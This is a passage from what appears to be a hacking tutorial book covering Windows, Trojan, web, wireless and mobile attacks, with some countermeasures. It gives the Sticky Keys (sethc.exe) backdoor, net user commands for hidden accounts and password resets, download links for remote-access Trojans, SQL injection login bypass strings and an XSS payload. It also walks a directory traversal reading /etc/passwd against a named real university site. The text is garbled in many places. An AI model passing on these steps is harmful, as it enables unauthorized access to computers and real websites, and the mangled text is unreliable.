 Always check the URL in the Browser before Signing IN to your Account

 Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.

Email Tracing

 Tracing an Email means locating the Original Sender and Getting to know the IP address of the network fromwhich the Email was actually generated.

 To get the information about the sender of the Email we first must know the structure of the Email.

 As we all know the travelling of the Email. Each message has exactly one header, which is structured into fields.Each field has a name and a value. Header of the Email contains all the valuable information about the path andthe original sender of the Email.

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 For tracing an email Address You need to go to your email account and log into the email which you want to traceafter that you have to find the header file of the email which is received by you.

 You will get Source code of the email.

 For Rediffmail-

 For Yahoo mail-



For Gmail-

Now see from bottom to top and the first IP address you find is the IP address of the sender.

Once you have the IP Address of the sender, go to the URL www.ip2location.com and Find the location of the IP Address.

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And you are done we have traced the person.....

And from where he had sent the email.

Keystroke loggers

 Keystroke Loggers (or Key loggers) intercept the Target’s keystrokes and either saves them in a file to be readlater, or transmit them to a predetermined destination to the Hacker.

 Since Keystroke logging programs record every keystroke typed in via the keyboard, they can capture a widevariety of confidential information, including passwords, credit card numbers, and private Email correspondence,names, addresses, and phone numbers.

Types of keyloggers

 Hardware keylogger

 Software keylogger

Some Famous keyloggers

 Actual Spy

 Perfect Keylogger

 Family Keylogger

 Home Keylogger

 Soft Central Keylogger

 Adramax Keylogger

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Securing your Email account













Always configure a Secondary Email Address for the recovery purpose.

Properly configure the Security Question and Answer in the Email Account.

Do Not Open Emails from strangers.

Do Not Use any other’s computer to check your Email .

Take Care of the Phishing Links.

Do not reveal your Passwords to your Friends or Mates.

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3. Windows Hacking and SecuritySecurity Architecture of Windows

 There are three components of Windows Security:

 LSA (Local Security Authority) SAM (Security Account Manager) SRM (Security Reference Monitor)

LSA (Local Security Authority)

 LSA is the Central Part of NT Security. It is also known as Security Subsystem. The Local Security Authority or LSA isa key component of the logon process in both Windows NT and Windows 2000. In Windows 2000, the LSA isresponsible for validating users for both local and remote logons. The LSA also maintains the local security policy.

 During the local logon to a machine, a person enters his name and password to the logon dialog. This informationis passed to the LSA, which then calls the appropriate authentication package. The password is sent in a non-reversible secret key format using a one- way hash function. The LSA then queries the SAM database for the User’saccount information. If the key provided matches the one in the SAM, the SAM returns the users SID and the SIDsof any groups the user belongs to. The LSA then uses these SIDs to generate the security access token.

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SAM (Security Account Manager)

 The Security Accounts Manager is a database in the Windows operating system (OS) that contains user names andpasswords. SAM is part of the registry and can be found on the hard disk.

 This service is responsible for making the connection to the SAM database (Contains available user-accounts andgroups). The SAM database can either be placed in the local registry or in the Active Directory (If available). Whenthe service has made the connection it announces to the system that the SAM-database is available, so otherservices can start accessing the SAM-database.

 In the SAM, each user account can be assigned a Windows password which is in encrypted form. If someoneattempts to log on to the system and the user name and associated passwords match an entry in the SAM, asequence of events takes place ultimately allowing that person access to the system. If the name orpasswords do not properly match any entry in the SAM, an error message is returned requesting that theinformation be entered again.

 When you make a New User Account with a Password, it gets stored in the SAM File.

 Windows Security Files are located at

“C: \Windows\System32\Config\ SAM”

 The moment operating system starts, the SAM file becomes inaccessible.

SRM (Security Reference Monitor)

 The Security Reference Monitor is a security architecture component that is used to control user requests toaccess objects in the system. The SRM enforces the access validation and audit generation. Windows NT forbidsthe direct access to objects. Any access to an object must first be validated by the SRM. For example, if a userwants to access a specific file the SRM will be used to validate the request. The Security Reference Monitorenforces access validation and generation policy.

 The reference monitor verifies nature of the request against a table of allowable access types for each processon the system. For example, Windows 3.x and 9x operating systems were not built with a reference monitor,whereas the Windows NT line, which also includes Windows 2000 and Windows XP, was designed with an entirelydifferent architecture and does contain a reference monitor.

Windows user account architecture

 User account passwords are contained in the SAM in the Hexadecimal Format called Hashes.

 Once the Passwords converted in Hashes, you cannot convert back to the Clear Text.

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Cracking

 Passwords a system andenters a stored hashesmatch, the user is authenticated (This is called the Challenge/Response).

 Passwords may be cracked manually or with automated tools such as a Brute-force method or the Rainbow Tableattack.

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 In this if we put the password and windows vey the password we entered on teen with the file in which thepassword is stored of ours.

 This is stored in a file named SAM

 It is shown in the picture above.

 Now we need to attack this file.

 For this we need to open this file but it is not possible as it is in process by the computer from its start up.

 And we suppose that the file opens then also we cannot see the passwords stored in it because they areencrypted in the form of HASHES.

 And they and not be decrypted. the hardest encryption done and decryption is not easy.

 But it is not impossible.

 We Need a Bootable CD named Hiren boot and Can Crack the Password.

 But Another Attack –

 Go to C:\Windows\System32\

 Copy the File cmd.exe to desktop and rename it to sethc.exe

 Now copy the file sethc.exe to C:\Windows\System32\ and will give an error, give that error YES. And replace it.

 Now You Are Done.

 Now At the Login Screen Press SHIFT Key 5 times and a beep Sound will come and Command prompt will open.

 In the command prompt type “explorer.exe” and Hit Enter a desktop will open in the tab mode.Use The ComputerUnl imited….

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Windows User Account Attack

1) To See all the account present on the computer

Net user

2) To change the password without knowing the old password.

Net user administrator *

3) To make a new user account.

Net user hacker /add

4) To Delete the Existing user account.

Net user hacker /delete

5) To make a hidden account in computer.***** { Works only in windows XP}

Net user hacker /add

Net localgroup users hacker /delete

 Note: - To login to this Hidden Account Press

 Ctrl + Alt + Delete + Delete

 And give the hidden user name in the user name password respectively.

 And the above are to be executed in command prompt. And the hacker indicates the respective username. Or the name of the account.

Counter Measures of Windows Attack.

1)

Change the Boot Sequence in the BIOS setup. Keep Hard Disk As 1st boot drive, then CD/DVD drive as 2ndboot device & Removable port as the 3rd boot device.

Put the BIOS password.

Put the physical Lock behind the cabinet of PC. (Put Lock).

2)

3)

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To hide a file behind an image.

To hide a file behind a image file which means that if any one opens that image he will see the image only but if you openin a special way then you can open the hidden file behind the image.

So to hide the file behind a image open CMD.exe

1) Select an image to be used for hiding file behind the image.

2) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.

3) And most important is that paste both the files on desktop and run the following command on the commandprompt.

4) And then type the following

cd desktop

Copy /b imagename.jpg + filename.rar finalnameofimage.jpg

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And then hit enter the file will be created with the file final file name of the image.

Make a Private Folder

To make Private folder which nobody can open, delete, see properties, rename.

To make such a folder you need to make a folder with any name. For example- manthan on desktop.

And then open command prompt and then type the following command on the screen.

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Then type

And hit enter the folder is locked

To open the folder just: replace with: f

And the folder is opened

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To run net user in Vista and Windows 7

 Go to Start > Type CMD

 Right Click on CMD Icon

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Brute

 Brute force randomly generates passwords and their associated hashes.

 There are tools available to perform the Brute force attack on the Windows SAM File. Most famous tool availablefor

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Rainbow Table Attack

 Rainbow Table Attack trades off the time-consuming process of creating all possible password hashes by buildinga table of hashes in advance of the actual crack. After this process is finished, the table, called a rainbow table, isused to crack the password, which will then normally only take a few seconds.

 We can use the Live CD to crack the Windows password using the Rainbow table attack technique. Most famousLive CD available is Oph Crack.

Oph Crack

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Counter Measures for Windows Attack

Creating Backdoors for windows

 Use the Net User Command to Create a Hidden Account in Windows: Net User Hidden user /add

 And then use the Command Net Local group Users Hidden user /delete

 Log Off the Current User, Press ALT+CTRL+DEL combination 2 times to get the ‘Classic Windows User LoginScreen’ Type the Username as Hidden user and Hit Enter, you will get Logged In

“ This trick will not work in Windows Vista and Windows 7 ”.

Sticky Keys Backdoor.

 Sticky Keys application can be used as the Backdoor in Windows Operating System.

 Command Prompt file ‘CMD.EXE’ can be renamed to ‘SETHC.EXE’ in C: \Windows\System32 Folder.

 After this one can hit the Shift Key 5 times on the User Login Screen and will get the Command Prompt rightthere. Net User command can be used to modify User Accounts thereafter.

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Change the Boot Sequence

 You should change the boot sequence in the BIOS so that your computer is not configured to boot from the CDfirst. It should be configured Disk as the First Boot Device.

 This will protect your computer attacking Live CDs.

 You may press Del or F2 Key at the System Boot to go to the BIOS Setup.

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4. Trojans in Brief

This tutorial will include the understanding concept of Trojan, Dangers created by Trojans, how they can come to yourcomputer, how do they destroy you and your data. How many types of Trojans are there, how Trojans are attachedbehind other applications and finally the most important, Detection of Trojan on your computer and their preventionto safeguard your system and your data.

Knowing the Trojan

A Trojan is a malicious program misguided as some very important Trojans comes on the backs of otherprograms and are installed on a system without the User’s knowledge. malicious pieces of code used to installhacking software on a target system and aid the Hacker in gaining and retaining access to that system. Trojans and theircounterparts are important pieces of the Hacker’s tool-kit.

Trojans is a program that appears to perform a desirable and necessary function but that, because of hidden andunauthorized code, performs are fake programs whichseems to be a original application, scanners, registry cleaners,computer system optimizers, videos, etc..

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

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You just need to execute that software or application, you will find the application running or you might get anerror, but once executed the Trojan will install itself in the system automatically.

Once installed on a system, the program then has system-level access on the target system, where it canbe destructive and insidious. They can cause data theft and loss, and system crashes or slowdowns; they canalso be used as launching points for other attacks against your system.

Many Trojans are used to manipulate files on the victim computer, manage processes, remotely run commands,intercept keystrokes, watch screen images, and restart or shut down infected hosts.



Different Types of Trojans

1. Remote Administration Trojans: There are Remote Access Trojans which a re used to control the Victim’s computer

remotely.

2. Data Stealing Trojans: Then there are Data Sending Trojans which compromised the data in the computer, then

find the data on the computer and send it to the attacker automatically.

3. Security Disabler Trojan: There are Security software disablers Trojans which are used to stop antivirus software

running in the Victim’s computer.

In most of the cases the Trojan comes as a Remote Administration turns the Victim’s computer into a serve rwhich can controlled remotely. Once the Remote Access Trojan system, the attacker can connect to thatcomputer and can control it.

Some famous Trojans

 Beast

Download - http://u.to/ZSSk

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 Back Orifice

 Net Bus

http://u.to/1SSk

 Pro Rat

Download it from – http://u.to/xCSk

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 Girl Friend

 Sub Seven

– http://u.to/FCWk

Components of Trojans

Trojan consists of two parts:

1. A Client component

2. A Server component.

One which resides on the Victim’s computer is called the server part of the Trojan and the one which is on the attacker’scomputer is called the client Part of the Trojan. For the Trojan to function as a backdoor, the server Component has to beinstalled on the Victim’s machine .

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1. Server component andadministrate2. Client component without thepermission

Wrapper

A Wrapper is a program used to combine two or more executables into a single packaged program. The wrapper attachesa harmless executable, like a game, to a Troja n’s payload, the executable code that does the real damage, so that itappears to be a harmless file.

Hackers use Wrappers to bind the Server part of the Software behind any image or any other file. Wrappers are alsoknown as Binders.

Generally, games or other animated installations are used as wrappers because they entertain the user while the Trojan inbeing installed. This way, the user doesn’t notice the slower processing that occurs while the Trojan is being installed onthe system — the user only sees the legitimate application being installed.

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Mode of Transmission for Trojans

Reverse Connection in Trojans

Reverse-connecting Trojans let an attacker access a machine on the internal network from the outside. The Hacker caninstall a simple Trojan program on a system on the internal network. On a regular basis (usually every 60 seconds), theinternal server tries to access the external master system to pick up commands. If the attacker has typed something intothe master system, this command is and executed on the internal system. Reverse WWW shell uses standardHTTP. It’s dangerous because it’s difficult detect - it looks like a client is browsing the Web from the internal network

Now the final part ….

Detection and Removal of Trojans

The unusual behavior of system is usually an indication of a Trojan attack. Actions/symptoms such as,

• Programs starting and running without the User’s initiation .• CD-ROM drawers Opening or Closing.• Wallpaper, background, or screen saver settings changing by themselves.• Screen display flipping upside down.• Browser program opening strange or unexpected websites

All above are indications of a Trojan attack. Any action that is suspicious or not initiated by the user can be an indicationof a Trojan attack.One thing which you can do is to check the applications which are making network connections with other computers.One of those applications will be a process started by the Server Trojan.

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You also can use the software named process explorer which monitors the processes executed on the computer with itsoriginal name and the file name. As there are some Trojans who themselves change their name as per the system processwhich runs on the computer and you cannot differentiate between the Trojan and the original system process in the taskmanager processes tab, so you need PROCESS EXPLORER.

TCP (Transmission Control Protocol) view

• TCP View is a Windows program that will show you detailed listings of all TCP (Transmission Control Protocol) and UDP(User Datagram Protocol) endpoints on your system, including the local and remote addresses and state of TCPconnections.• On Windows NT, 2000, and XP, TCP View also reports the name of the process that owns the endpoint.• Active connections will appear in Green Color. You can always Right Click on the check the properties the application.• Once you have got hold of the Trojan application, you can Kill the active connection and the running process and thendelete the physical application file. This will make you recover from the attack of Trojan.

Countermeasures for Trojan attacks

Most commercial antivirus programs have Anti-Trojan capabilities as well as spy ware detection and removalfunctionality. These tools can automatically scan hard drives on startup to detect backdoor and Trojan programs beforethey can cause damage. Once a system is infected, it’s more difficult to clean, but you can do so with commerciallyavailable tools. It’s important to use commercial applications to clean a system instead of freeware tools, because manyfreeware removal tools can further infect the system. In addition, port monitoring tools can identify ports that have beenopened or files that have changed.

The key to preventing Trojans and backdoors from being installed on a system is to not to install applications downloadedfrom the Internet or open Email attachments from parties you don’t know. Many systems administrators don’t give usersthe system permissions necessary to install programs on system for the very same reason.

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5. Attacks on Web servers and Security

Introduction to Web Servers

A Web Server is a program which is configured to serve Web Pages using the Hyper Text Transfer Protocol (HTTP).

• Served content usually is HTML documents and linked objects Images, Scripts, Text, etc.• Web server has an IP address and possibly a domain name. For example, if you enter the URLhttp://www.hackingtech.co.tv/mobile.html in your browser, this sends a request to the server whose domain name ishackingtech.co.tv. The server then fetches the page named mobile.html and sends it to your browser.

Setting Up a Web Server

Any computer can be turned into a Web server by installing server software and connecting the machine to the Internet.There are many Web server software applications available.

• Software to setup a Web Server:– Apache– IIS

The Basic Process: How Web servers work

Let's say that you are sitting at your computer, surfing the Web. So you type that URL into your browser and press enter.

• And magically, no matter where in the world that URL lives, the page pops up on your screen.• Web browser forms a connection to a Web server, requests a page and receives it.

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Attacks on Web servers

• Web Ripping• Google Hacking• SQL Injection• PHP Remote Code Execution• Cross Site Scripting• Directory Transversal Attacks

Web Ripping

• Web Ripping is finding and extracting pictures and other media files from specified website URLs save them to yourhard drive.• Web Ripping is the ability to copy the structure of a Web site to a local disk and obtain a complete profile of the site andall its files and links.• We can use Black Windows Web ripper for web ripping.

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Google Hacking

• As we all know, Google is a Search Engine.• Google keeps snapshots of pages it has crawled that we can access via the Cached link on the search results page.

• Google hacking involves using Advance Search Operators in the Google search engine to locate specific strings of textwithin search results. Some of the more popular examples are finding specific versions of Vulnerable Web Applications.• You can look for the particular File types, Password files and Directories. Even you can find out the IP based CCTVCameras.

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This Search will give you the List of all the websites with Title Hacking.

This Search will give you the List of all the website link containing the MS Word Document of the name hacking.

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The More commands for the CCTV cameras Will be explained in the later part of the book.

Protecting Your Files from Google

• A robots.txt file restricts access to your site by search engine the web. These bots are automated, andbefore access pages of a site, they check to see if a robots.txt prevents them from accessing certain pages.

• You need a robots.txt file only if your site includes content that search engines to catch. If you wantsearch engines to index everything in your site, you don't need (not even an empty one).

Example of Simple ROBOT.txt file.

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Cross Site Scripting (XSS)

• Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications which allowcode injection by malicious web users into the web pages viewed Examples of such code include HTMLcode and client-side scripts.

• An exploited Cross-Site Scripting vulnerability can be used by access controls such as the same originpolicy. Recently, vulnerabilities of this kind have been exploited phishing attacks and browser exploits.Cross site scripting was originally referred to as CSS, although largely discontinued.

The ratio of XSS attack is very large as compared to other attacks

Example of a Cross Site Scripting attack

As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine isa simple single field form with a submit button. Whereas the results page, displays both the matched results and the textyou are looking for.

Example:

Search Results for "XSS Vulnerability"

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To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case theURL would look like:

http://test.searchengine.com/search.php?q=XSS%20

Vulnerability

Next we try to send the following query to the search engine:

<script type="text/javascript"> alert (‘this is an XSS Vulnerability') </script>

By submitting the query to search.php, it is encoded and the resulting URL would be something like:

http://test.searchengine.com/search.php?q=%3Cscript%3

Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2

9%3C%2Fscript%3E

Upon loading the results page, the test search engine would probably display no results for the search but it will display aJavaScript alert which was injected into the page by using the XSS vulnerability.

How to check for Cross site scripting vulnerabilities

To check for Cross site scripting vulnerabilities, use a Web Vulnerability Web Vulnerability Scanner crawl yourentire website and automatically checks for Cross Site Scripting vulnerabilities. will indicate which URLs/scripts arevulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a webapplication scanner will also check for SQL injection & other web vulnerabilities.

You Will Be explained more about this attack in the later part website hacking category..

Directory Traversal Attack

• Directory traversal attacks allow malicious users to literally "traverse" the directory and bypass the access control list togain access to restricted files and even manipulate data.

• These attacks are HTTP exploits that begin with a simple GET or other type of HTTP request from a dynamic page. If yourWeb site is vulnerable, and chances are it is, the server will return with a file that hasn't been properly validated. Amalicious user will then send a request for a file one or more directories up by adding one or more "../" directives to thestring. Each "../" instructs the page to "go up one directory."

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Example of a directory traversal attack via web application code

2010

In order to perform a directory traversal attack, all an attacker needs is a web browser and some knowledge on where toblindly find any default files and directories on the system. The following example will make clear everything

Visit this website vulnerable to directory transversal attack

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=notification.php

This web server is running on UNIX like operating system. There is a directory 'etc' on unix/linux which containsconfiguration files of programs that run on system. Some of the files are passwd, shadow, profile,sbin placed in 'etc'directory.

The file etc/passwd contains the login names of users and even passwords too.

Lets try to access this file on web server by stepping out of the root directory. Carefully see the position of directoriesplaced on the web server.

We do not know the actual names and contents of directories except 'etc' which is default name , So I have marked themas A,B,C,E or whatever.

We are in directory in F accessing the web pages of website.

Let’s type this in URL field and press enter

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=etc/passwd

This will search the directory 'etc' in F. But obviously, there is nothing like this in F, so it will return nothing now type

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd

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Now this will step up one directory (to directory E ) and look for 'etc' but again it will return nothing Now type

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../etc/passwd

Now this will step up two directories (to directory D) and look for 'etc' but again it will return nothing.So by proceeding like this, we go for this URL

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd

It takes us 5 directories up to the main drive and then to 'etc' directory and show us contents of 'passwd' file.To understand the contents of 'passwd' file, visit

http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/

You can also view etc/profile; etc/services and many others files like backup files which may contain sensitive data. Somefiles like etc/shadow may not be accessible because they are accessible only by privileged users.

If proc/self/environ would be accessible; you might upload a shell on server which is called as Local File Inclusion.

Database Servers

• The Database server is a key component in a client/server environment. Specially the Websites which have a User LoginArchitecture.• Database Server holds the Database Management System (DBMS) and the Data Records. Upon requests from the clientmachines, it searches the database for selected records and passes them back over the network.• Software to setup a Database Server:– Oracle– SQL Server– MySql

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Login Process on the websites

Let's say that you are sitting at your computer, surfing the Web, and you open a Website to Login to your account.

1: You type in the Login Username and Password and clicks on Sign in and you get in to your account.

2: Web Server receives the Username and Password and forwards it to the Database server.

3: Database server receives the Username and Password from the Web Server and checks its tables for that Usernameand Password and sends the result of the authentication to the Web Server.

4: Web Server receives the Authentication result from the Database Server and on the basis of the result, redirects theUser to the proper Webpage.

• If the Authentication is True, User gets signed in to the Account, and if it fails User is asked to Sign again.

SQL Injection

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• A SQL injection attack exploits vulnerabilities in a web server database that allow the attacker to gain access to thedatabase and read, modify, or delete information.• An example of a SQL injection attack is making the condition true by giving the identical value to a web page. Thesevalues can be inserted into a login as follows:

• Login: 1' or '1'='1 and Password= 1' or '1'='1• Login: 1' or '1'='1';--

• When the Username argument is evaluated, ‘1’=’1’ will assess to TRUE, and an authentic username will be returned.

The Systametic Execution of SQL injection is explained in the image below.

Input validation on the SQL Injection

• There are measures that can be applied to mitigate SQL injection attacks.

• Web developer can check whether some suspicious characters are sent from the Login Page like ‘ , “ , ; , -- , etc

• Always store the Passwords in the Database server in the Encrypted Form.

• Use of these practices does not guarantee that SQL injection can be completely eliminated, but they will make it moredifficult for Hackers to conduct these attacks.

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Input Validation

PHP Injection: Placing PHP backdoors

• This attack provides the means for a Hacker to execute his or her system level code on a target web server. With thiscapability, an attacker can compromise the web server and access files with the same rights as the server systemsoftware.• For example, a number of PHP programs contain a vulnerability that could enable the transfer of unchecked usercommands to the eval ( ) function.

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PHP Eval() function

PHP

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Directory Access controls

• Htaccess files provide a way to make configuration changes on a per-directory basis.

• Htaccess files should be used in a case where the content providers need to make configuration changes to the serveron a per-directory basis, but do not have root access on the server system.

Configuring .htacess

How Attackers Hide Them While Attacking

Proxy Servers

• A Proxy Server is a server that acts as an intermediary between a workstation user and the Internet so that theenterprise can ensure security, administrative control and caching service.

• Hackers generally use the Proxy server on the Internet to make their Identity invisible to the target.

• So They hide their IP address by using the proxy server and make an anonymous brousing over internet.

• Please See the diagram for better understanding.

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Types

• Web Proxy• Anonymous Proxy Server

Web Proxy Server

• A Proxy site is a web page which allows to browse other web sites.• If an Attacker finds that he is blocked from accessing a Website, he will use any of web proxy sites to get bypass theblock.

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Anonymous Proxy Server

• An Anonymous proxy is a proxy server designed to protect the privacy and anonymity of web browsers from web siteoperators.

• In Anonymous Proxy, you get an IP Address and a Port Number. You have to configure that IP and Port with your WebBrowser and you will be surfing anonymously.

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6. Wireless hacking

Wireless network refers to any type of computer network which is wireless, and is commonly associated with a networkwhose interconnections between nodes e.g. Laptops, Desktops, Printers etc is implemented without the use of wires.

The popularity in Wireless Technology is driven by two major and cost. A Wireless LocalArea Network (WLAN) allows workers to access digital resources locked to their desks. Mobile users canconnect to a Local Area Network (LAN) through a Wireless (Radio)

Demand for wireless access to LANs is fueled by the growth of devices, such as laptops and personaldigital assistants, and by users’ desire for continuous network physically having to plug into wiredsystems.

For the same reason that WLANs are convenient, their open broadcast infrastructure, they are extremely vulnerable tointrusion and exploitation. Adding a wireless network to an organization’s inter nal LAN may open a backdoor to theexisting wired network.

The IEEE 802.11 standard refers to a specifications for wireless local area networks (WLANs) developed by aworking group of the Institute of Electrical Electronics Engineers (IEEE). This standards effort began in 1989, with thefocus on deployment in large enterprise networking environments, effectively a wireless equivalent to Ethernet. The IEEEaccepted the specification in 1997. Standard 802.11 specifies an over-the-air interface between a mobile device wirelessclient and a base station or between two mobile device wireless clients.

Wireless Standards

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• WAP (Wireless Access Point):

Wireless Access Point is the point from where the Wireless network are generated. Like the Wireless Routers orSwitches.

• SSID (Service Set Identifier):

An SSID is the name of a wireless local area network (WLAN). All wireless devices on a WLAN must employ the sameSSID in order to communicate with each other. SSID is also known as ESSID (Extended Service Set Identifier).

• BSSID (Basic Service Set Identifier):

A BSSID is the MAC Address (Media Access Control) or Physical Address of the Wireless Access Point or the WirelesRouter. This is a unique 48 bit key provided by the manufacturer of the device. It can be in the form of Hexadecimali.e. 0-9 , A-F. E.g. 00:A1:CB:12:54:9F

• For checking your card’s MAC Address:

Start > Run > CMDWrite “ getmac ” in Command Prompt.

• Beacons:

These are the Wireless Packets which are broadcasted to maintain the connectivity with the Wireless AccessPoint and Client systems. The Wireless Access point broadcasts beacon frames from time to time to checkconnectivity with the systems.

• Channel:

It is the frequency at with the Wireless Signal travels through air.

• Data Packets: These are the packets which sent and received for the transfer of data between Wireless Access Point andClient systems. All the data communicated between two Computers travels in the form of Data Packets. • Data Packets: These are the packets which sent and received for the transfer of data between Wireless Access Point andClient systems. All the data communicated between two Computers travels in the form of Data Packets.

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Services provided by Wireless Networks

• Association:

It establishes wireless links between wireless clients and access points in infrastructure networks.

• Re-association:

This action takes place in addition to association when client moves from one Basic Service Set(BSS) to another, such as in Roaming.

• Authentication:

This process proves a client’s identity through the 802.11 option, Wired Equivalent Privacy(WEP). In WEP, a shared key is configured into point and its wireless clients. Only thosedevices with a valid shared key will be allowed associated with the access point.

• Privacy:

In the 802.11 standard, data are transferred in the clear by default. If confidentiality is desired, the WEPoption encrypts data before it is sent wirelessly. The WEP algorithm of the 802.11 Wireless LAN Standarduses a secret key that is shared between a mobile station (for example, a laptop with a wireless Ethernetcard) and a base station point to protect the confidentiality of information being transmitted onthe LAN.

Standard Wireless Security Solution

Wireless Security policies are developed or enhanced to accommodate the wireless environment. Primary issues will beownership and control of the wireless network, controlling access to the network, physically securing access points,encrypting, auditing, and the procedures for detecting and handling rogue access points or networks. User securityawareness policies should be implemented.

SSID Solution

Wireless equipment manufacturers use a default Service Set ID (SSID) in order to identify the network to wireless clients.All access points often broadcast the SSID in order to provide clients with a list of networks to be accessed. Unfortunately,this serves to let potential intruders identify the network they wish to attack. If the SSID is set to the default manufacturersetting it often means that the additional configuration settings (such as passwords) are at their defaults as well.

Good security policy is to disable SSID broadcasting entirely. If a network listing is a requirement for network users thenchanging the SSID to something other than the default, that does not identify the company or location, is a must. Be sureto change all other default settings as well to reduce the risk of a successful attack.

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MAC address filtering

Some 802.11 access point devices have the ability to restrict access devices that are aware of a specificidentification value, such as a MAC address. Some access point for a table of permitted and deniedMAC addresses, which would allow a device administrator to specify remote devices that are authorized tomake use of the wireless service. Client computers are identified address of its IEEE 802.11 networkcard. To secure an access point using MAC address filtering, each must have a list of authorized client MACaddress in its access control list.



We can Prevent or Permit machines on the behalf of MAC Addresses.

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WEP key encryption

The IEEE 802.11b standard defines an optional encryption scheme called Wired Equivalent Privacy (WEP), which creates amechanism for securing wireless LAN data streams. WEP was part of the original IEEE 802.11 wireless standard. Thesealgorithms enable RC4-based, 40-bit data encryption in an effort to prevent an intruder from accessing the network andcapturing wireless LAN traffic.

WEP’s goal is to provide an equivalent level of security and privacy comparable to a wired Ethernet 802.3 LAN. WEP uses asymmetric scheme where the same key and algorithm are used for both encryption and decryption of data. WEP isdisabled by default on most wireless network equipment.

Wireless security Overview

Two methods exist for authenticating LAN clients to an access point: Open system or Shared key authentication.

1. Open system does not provide any security mechanisms but is simply a request to make a connection to the network.2. Shared key authentication has the wireless client hash a string of challenge text with the WEP key to authenticate tothe network.

Wireless Attacks

Broadcast Bubble :

One of the problems with wireless is that the radio waves that connect network devices do not simply stoponce they reach a wall or the boundary of a business. They keep traveling into parking lots and otherbusinesses in an expanding circle from the broadcast point, creating a ‘bubble’ of transmission radiation.

This introduces the risk that unintended parties can eavesdrop on network traffic from parking areas or anyother place where a laptop can be set up to intercept the signals.

War Driving :

War Driving is finding out the Wireless Networks present around the Wireless Card. common war drivingexploits find many wireless networks with WEP disabled and using only the SSID for access control. Thisvulnerability makes these networks susceptible to the parking lot attack, where an attacker has the ability togain access to the target network a safe distance from the building’s perimeter.

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WAR Driving is of two types:

1. Active War Driving2. Passive War Driving

Active War Driving :

Active War Driving is detecting the Wireless Networks whose SSIDs are broadcasted or the WirelessNetworks which are shown to all the Wireless Adapters. It can be done through any Wireless Card.

Passive War Driving :

Passive War Driving is detecting the Wireless Networks whose SSIDs are not Broadcasted or the HiddenWireless Networks. The Wireless card should support the Monitor Mode for the Passive War Driving.

MAC spoofing

Even if WEP is enabled, MAC addresses can be easily sniffed by an attacker as they appear in the clear format, makingspoofing the MAC address also fairly easy.

MAC addresses are easily sniffed by an attacker since they must appear in the clear even when WEP is enabled. Anattacker can use those “advantages” in order to masquerade as a valid MAC address, by programming the wireless card orusing a spoofing utility, and get into the wireless network.

WEP cracking

• Wired Equivalent Privacy (WEP) was the first security option WLANs. WEP is used to encrypt data on theWLAN and can optionally be paired with shared key authentication authenticate WLAN clients. WEP uses an RC4 64-bitor 128-bit encryption key.

• WEP was fairly quickly found to be crack able. WEP is vulnerable because of relatively short and weak encryption. Thesecurity of the WEP algorithm can be compromised.

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Countermeasures for Wireless attacks

Hide the Wireless Network:

Do not broadcast the SSID of the Wireless Network. This will help you in protecting yourWireless being invisible to the people who do not know about Passive War Driving

Use a Secured Key :

You can use the WEP Key protection on your Wireless Network to protect your WirelessNetwork Connection.

Although this is not the ultimate security measure but will help you a lot against the ScriptKiddies who do not know how to break into the WEP Protection.

WPA: Wi-Fi Protected Access

• WPA employs the Temporal Key Integrity Protocol (TKIP) — which is a safer RC4 implementation — for data encryptionand either WPA Personal or WPA Enterprise for authentication.

• WPA Enterprise is a more secure robust security option but relies on the creation and more complex setup of a RADIUSserver. TKIP rotates the data encryption key to prevent the vulnerabilities of WEP and, consequently, cracking attacks.

Mac Filtering

An early security solution in WLAN technology used MAC address filters: A network administrator entered a list of validMAC addresses for the systems allowed to associate with the Wireless Access Point.

Choosing the Best Key

Always use a long WPA Key with lower as well as upper case letters including numbers and special characters.

Sample Key: 12345@abcde&FGHI

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7. Mobile hacking – SMS & Call forging

It was bound to happen - they have hacked just about everything else. Now it's the cell phones. Cellphone hacking hasjust recently surfaced and been made public ever since some one did some cellular phone hacking on Paris Hilton's cellphone.This article will give you some information about what is going on out there and what you can do to better protect yourcell phone information.

What Does It Involve

The fact of someone hacking cell phone became public knowledge Paris Hilton's cell phone, along with herinformation was recently hacked. Unfortunately for her, all her friends and their phone numbers were alsoplaced on the Internet - resulting in a barrage of calls to each of

Cell phone hackers have apparently found a glitch in the way the chips are manufactured. The good news, though, is thatit only applies to the first generation models of cell phones that use the Global System for Mobile communications (GSM).Another requirement is that the hacker must have physical access to the cell phone for at least three minutes - which is areal good reason not to let it out of your Currently, although the problem has been remedied (at least for now) inthe second and third generation phones, seems that about 70% of existing cell phones fall within the first generationcategory.

Another way that mobile phone hacking can take place is for a hacker to walk around an area with people that have cellphones and a laptop that has cellphone hacker programs on it. Through an antenna, and a little patience, his computercan literally pick up your cell phone data - if it is turned on. This is more applicable to cell phones that use Bluetoothtechnology.

What Can A Hacker Do?

Surprisingly, there are quite a number of things that can be accomplished by the hacker. Depending on their intent hereare a few of them.



Steal Your Number

Your phone number can be accessed and obtained by cellphone hacking. This allows them to make calls and haveit charged to your account.



Take Your Information

Mobile hacking allows a hacker to contact your cell phone, without your knowledge, and to download youraddresses and other information you might have on your phone. Many hackers are not content to only get yourinformation. Some will even change all your phone numbers! Be sure to keep a backup of your informationsomewhere. This particular technique is called Bluesnarfing.

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Be Prepared for Cell Phone Hacks



2010

Rob Your Money

Other options might use a particular buying feature called SMS. This refers to the fact that money can be takenfrom your account and transferred into another and a good hacker can sit in one place and access a lot of phonesand transfer a lot of money rather quickly - probably in less time than you think!



Give The System A Virus

By using another cell phone hack code, a hacker could kidnap your phone, send it a camouflaged program or sendit a virus. But it does not end there, since, from that point, he can use your phone to retransmit the virus to manyother phones almost instantly - potentially disabling the system.



Spy On You

A hacker can also gain access and take over for cell phone spying and remote mobile phone hacking. Literally,once secured, the hacker can have the phone call him, and then be able to listen to all conversations going onaround the owner of the phone.



Access Your Voice Mails

